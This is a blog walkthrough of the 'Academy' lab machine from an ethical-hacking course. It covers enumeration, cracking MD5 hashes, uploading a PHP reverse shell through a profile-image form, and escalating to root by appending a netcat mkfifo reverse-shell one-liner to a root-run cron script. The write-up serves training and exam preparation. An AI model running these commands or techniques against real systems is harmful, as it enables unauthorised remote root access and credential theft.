top of page

Academy

This is my first blog post walking through a machine from the Cybermentors course Practical Ethical Hacking (PEH). This is one of the first machines I have tackled in a few months after I failed my first OSCP attempt. After an extended break away from offensive security and studying, it feels great to get back into it again!


Although it wasn't too challenging, it was actually quite easy. It did help me refresh my basic enumeration and exploitation skills. As for privilege escalation I was quite happy that I exploited a cron job to get root in about 10 minutes.


An easy level CTF style challenge


Approx. 30 mins to complete



Target Enumeration

We will start off with a very basic nmap scan to see what is open and running on the target.

sudo nmap -sC -sV -O 192.168.100.13
  • -sC to use default scripts when scanning

  • -sV to probe open ports to determine service and version information

  • -O to enable OS detection

We can see below we have 3 open ports; FTP with anonymous login allowed, SSH and HTTP. We can make guesses to say that there is probably something interesting on the FTP server and our foothold will be through the web server.


FTP Enumeration

Taking a look at the snippet from our Nmap scan below, we can see that anonymous access is allowed which means we can log into FTP as the anonymous user with no password. Our Nmap scripts have also identified that there is a file on the server named note.txt.

We use the 'get' command to retrieve the file and save it locally to our Kali machine.

When we open up the file we see a note with some very useful information, I have taken sometime to format the SQL statement in an easier to read format.

We see that there is mention of a new academy website and that there is password reuse. We also have been provided with an SQL statement used to insert data into the students table. We have details that we would need to log into the website including a password hash.


We use the hashid tool to identify the hash as being MD5.

From here we are able to select the correct hashcat mode to crack this MD5 hash (0). we will use the following command:

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Once our process finishes we learn that the student password is "student". Since we have the student id needed to login to the website and we also have the cracked hash, we could head over to the website and try to log in.


HTTP enumeration

To start with, we will run a simple gobuster scan to identify any common directories worth taking a look at.

gobuster dir -u http://192.168.100.13 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 

We see from the below, we have only a few directories. The phpmyadmin directory does not allow us access if we try to log in, but the academy directory sounds very familiar as it was mentioned in the note.txt we saw earlier.

We head over to the academy directory and we notice the URL (http://192.168.100.13/academy/index.php). It would have been more efficient for us to perform a recursive scan to go down directories and brute force extra directories. But instead lets perform another gobuster scan on the /academy directory for anything we have missed.

The second gobuster scan will scan for directories after the /academy directory.

gobuster dir -u http://192.168.100.13/academy -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 

we now have a number of new directories which look increasingly interesting such as the admin and db directory.

If we head over to /db, we see that there is an SQL file. When we see these, they are normally back up files or files that were used to insert data into a database. Lets hope there are some credentials in here, maybe some admin credentials for /admin?

When we open the file, we see none other than an admin username and a password hash :)

Cracking the admin MD5 hash reveals that the password is "admin", how secure!

Naturally, we head over to the /admin directory and try to log in which is a success! However there is surprisingly not much here that we can actually do that is of interest to us. We want to get access to the server!

Lets head back to the /academy directory and log in as a student using the credentials we found earlier (10201321:student). Once we are logged in, we notice we are able to update our profile and upload a profile image. This is great for us as there are no file type restrictions. As this website is running PHP, lets try to upload a PHP reverse shell and see if we get a connection back.

We use the following simple PHP reverse shell script which executes a bash reverse shell for us. This will attempt to connect back to us on port 443 so we need to set up a netcat lostner to catch the reverse shell.

With our listener set up, we are then able to catch a reverse shell. With this very simple foothold, we are now running as the www-data user.


Privilege escalation

As we are on the machine now as the www-data user, we want to elevate our privileges and become a more privileged user such as a user on the machine or as the root user. The first thing I did was run a Linux enumeration script "LinPeas.sh"; this is my favorite script for privilege escalation enumeration.


After running he script we have a number of interesting findings which we will go through one by one:


Cron Job

Our LinPeas script has made us aware that the user Grimmie has a cron Job set up that looks to be running as root every minute. This cron job executes a bash script 'backup.sh' that is in the users home directory.

Taking a look at the script, it looks like the backup script takes a backup of the /includes directory and creates a zip file in /tmp. Permissions are then set on the zip file so only the owner has RWX permissions.

We are able to execute the script to test what it does and we can see the zip file that is created in the /tmp directory with the permissions of our www-data user.

The next logical step is to alter this backup.sh script and add in a bash reverse shell so that the cron job can execute the script and spawn us a reverse shell running as root. However, we do not have any modify permissions on the backup script.

We need to somehow become the Grimmie user to be able to alter the script and abuse the cron job. Lets move on for now to our other findings.


MYSQL config file

Our enumeration script found a config file that is of interest and may have some useful information in it. Lets inspect the file at /var/www/html/academy/includes/config.php.

Were in luck! We have some MYSQL credentials and a database name, it looks like the user Grimmie has access to the database and we even have a plaintext password... lets pray for credential reuse!

We can run a tool called MySQLdump which is used to authenticate against a MySQL database and will dump the contents for us. Unfortunately, when we run the tool and dump the contents, we find the same student and admin credentials we found before, there is nothing new for us here.

We try to switch user using the credentials Grimmie:My_V3ryS3cur3_P4ss in the config file however this does not work for some reason. maybe they did change their password after all!


Login via SSH

Since switching users did not work, I wonder if SSH as Grimmie will work. it does! We have finally elevated our privileges to a user on the box! even better is that they are the owner of that backup script we saw, lets see if we can now abuse this cron job and get root!


Cron Job overwrite

We have a cron overwrite vulnerability. We own the backup script, however this script is being run every minute with the context of root. This means root is executing a script we own, so in theory we could append some malicious code and have it execute in the context of root.


Lets try it! Lets add a bash reverse shell and see what happens.


echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 192.168.100.11 1234 >/tmp/f" >> backup.sh

Immediately we receive a root connection back to our listener, we just abused a misconfigured cron job to get root access to the machine! :)

Congratulations we now have a root level reverse shell. The last step would be to set up persistence and carry out post exploitation enumeration to gather any interesting files from the machine.

I hope I explained my method clearly and provided justified reasoning for the actions I took. It feels great to get back into studying and beginning to prepare for my OSCP journey once again. If you have any feedback, I would love to hear it as I want to keep improving.





239 views

Recent Posts

See All

Comments


bottom of page